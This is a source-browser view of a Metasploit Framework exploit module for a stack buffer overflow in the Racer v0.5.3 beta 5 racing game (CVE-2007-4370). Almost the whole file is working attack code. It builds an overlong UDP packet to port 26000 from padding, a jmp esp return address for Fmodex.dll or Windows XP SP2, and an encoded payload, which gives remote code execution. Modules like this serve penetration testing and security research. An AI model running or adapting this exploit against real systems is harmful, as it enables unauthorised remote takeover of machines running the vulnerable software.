Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / games / racer_503beta5.rb @ master

History | View | Annotate | Download (1.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GreatRanking
16

    
17
        include Msf::Exploit::Remote::Udp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Racer v0.5.3 beta 5 Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module explots the Racer Car and Racing Simulator game
24
                                versions v0.5.3 beta 5 and earlier. Both the client and server listen
25
                                on UDP port 26000. By sending an overly long buffer we are able to
26
                                execute arbitrary code remotely.
27
                        },
28
                        'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
29
                        'License'        => MSF_LICENSE,
30
                        'Version'        => '$Revision$',
31
                        'References'     =>
32
                                [
33
                                        [ 'CVE', '2007-4370' ],
34
                                        [ 'OSVDB', '39601' ],
35
                                        [ 'URL', 'http://www.milw0rm.com/exploits/4283' ],
36
                                        [ 'BID', '25297' ],
37
                                ],
38
                        'Payload'        =>
39
                                {
40
                                        'Space'    => 1000,
41
                                        'BadChars' => "\x5c\x00",
42
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
43
                                },
44
                        'Platform'       => 'win',
45
                        'Targets'        =>
46
                                [
47
                                        # Tested ok patrickw 20090503
48
                                        [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
49
                                        [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
50
                                        [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
51
                                ],
52
                        'DisclosureDate' => 'Aug 10 2008',
53
                        'DefaultTarget' => 0))
54

    
55
                register_options(
56
                        [
57
                                Opt::RPORT(26000)
58
                        ], self.class)
59
        end
60

    
61
        def exploit
62
                connect_udp
63

    
64
                buf = Rex::Text.rand_text_alphanumeric(1001)
65
                buf << [target.ret].pack('V')
66
                buf << payload.encoded
67
                buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
68

    
69
                udp_sock.put(buf)
70

    
71
                handler
72
                disconnect_udp
73
        end
74
end